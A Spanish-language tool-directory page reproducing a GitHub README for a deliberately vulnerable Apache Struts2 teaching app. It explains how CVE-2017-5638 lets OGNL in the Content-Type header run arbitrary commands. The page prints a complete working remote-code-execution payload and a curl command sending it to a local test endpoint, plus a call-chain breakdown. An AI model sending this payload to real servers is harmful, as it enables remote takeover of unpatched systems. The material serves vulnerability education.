Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/sighup1/cybersecurity-struts2
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubsighup1/cybersecurity-struts2

cybersecurity-struts2

Aplicación Struts2 vulnerable a CVE-2017-5638. Explica cómo funciona la explotación de la vulnerabilidad en relación con OGNL y el parser JakartaMultiPart.

Ver Repositorio
132hace 7 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Apache Struts2 Vulnerability | CVE-2017-5638 | Version 2.5

Descargo de responsabilidad

Esto está pensado únicamente para fines educativos y de investigación. No autorizo ni respaldo ningún uso ilegal o poco ético del contenido o la información de este proyecto.

Instrucciones

Para ejecutar la webapp:

  • java -jar ms-cybersecurity-1.jar (usa Tomcat embebido)
  • Java 1.8
  • la webapp arranca en el puerto 8080 por defecto (http://localhost:8080/MSCybersecurity)

Para enviar comandos, usa el emulador de línea de comandos (Send.jar) proyecto:

La URL en blanco usa por defecto http://localhost:8080/MSCybersecurity/exploit; debes estar en el endpoint /exploit

send

  • java -jar Send.jar

Si quieres modificar este código fuente, el proyecto usa el sistema de compilación Maven:

  • Al modificar el código fuente: mvn package (crea el .jar)

NVD CVE-2017-5638

El Payload

El aspecto ingenioso de esta vulnerabilidad es la explotación de OGNL (Object Graph Navigation Library).

OGNL usa expresiones para realizar tareas, y dos de las expresiones permitidas son la capacidad de invocar clases arbitrarias en el framework y encadenar eventos. Guía de referencia OGNL Language Guide.

Así, por ejemplo, es posible instanciar el objeto edu.uvu.ms.cybersecurity.Command con OGNL

root@kitploit:~
//  OGNL expression to instantiate Command obj
(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity'))

La clase edu.uvu.ms.cybersecurity.Command

root@kitploit:~
// Command simply prints the cmd argument passed from the OGNL expression
public class Command {
  private Object cmd;
  
  public Command(Object cmd){
    this.cmd = cmd;
  }

  private void print(){
      System.out.println("OGNL recieved cmd: "+this.cmd);
  }
  
  public void print(String loc){
      System.out.println("OGNL recieved cmd: "+this.cmd+" from "+loc);
  }
}
 

O, en un sentido más práctico, se puede invocar la clase java.lang.ProcessBuilder para ejecutar comandos a nivel de sistema.

root@kitploit:~
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())

El siguiente payload contiene un comando para invocar a edu.uvu.ms.cybersecurity.Command y mostrar en la consola el comando enviado al servidor, y luego procede a ejecutar el comando. (para ilustrar el encadenamiento de eventos y la invocación de clases).

root@kitploit:~
Content-Type:  %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Envía el payload con CURL

root@kitploit:~
curl -H "Content-Type:  %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" -X POST http://localhost:8080/MSCybersecurity/exploit

Una parte de este payload fue extraída de Rapid7 GitHub

El Desglose (visto desde mi IDE)

El parser Jakarta MultiPart:

El problema es que el Parser no escapa los valores entrantes en la cabecera Content-Type. Esto significa que una expresión OGNL puede empaquetarse en la cabecera Content-Type. Cuando se determina que la cabecera es MultiPart, se envía a OgnlTextParser.class, que simplemente interpreta la expresión OGNL y, posteriormente, termina ejecutando comandos arbitrarios.

A continuación se muestra un vistazo paso a paso de cómo se explota esta vulnerabilidad.

El Dispatcher de Struts2: org.apache.struts2.dispatcher.Dispatcher

La clase Struts Dispatcher.class recibe la solicitud y determina que debe ser manejada por la librería JakartaMultiPart, e invoca el constructor MultiPartRequestWrapper() Dispatcher

La expresión OGNL de la cabecera Content-Type se pasa entonces al método parse(). Debido a que la información de la cabecera es incorrecta, el parser lanzará una excepción y llamará al método buildErrorMessage()

Dispatcher

El método buildErrorMessage() intenta encontrar un mensaje de error apropiado para devolver al usuario; sin embargo, para hacerlo, tiene que usar el método findText() de LocalizedTextUtil.class

Dispatcher

El método findText de LocalizedTextUtil.class, a su vez, llamará a getDefaultMessage() y pasará la información de Content-Type

Dispatcher

El método getDefaultMessage() delegará entonces en el método translateVariables() de TextParseUtil.class

Dispatcher

El método translateVariables() de TextParseUtil.class delega en el método evaluate de OgnlTextParser.class

Dispatcher

El resultado es que cualquier expresión OGNL ahora se ejecuta

Dispatcher

Descargar herramienta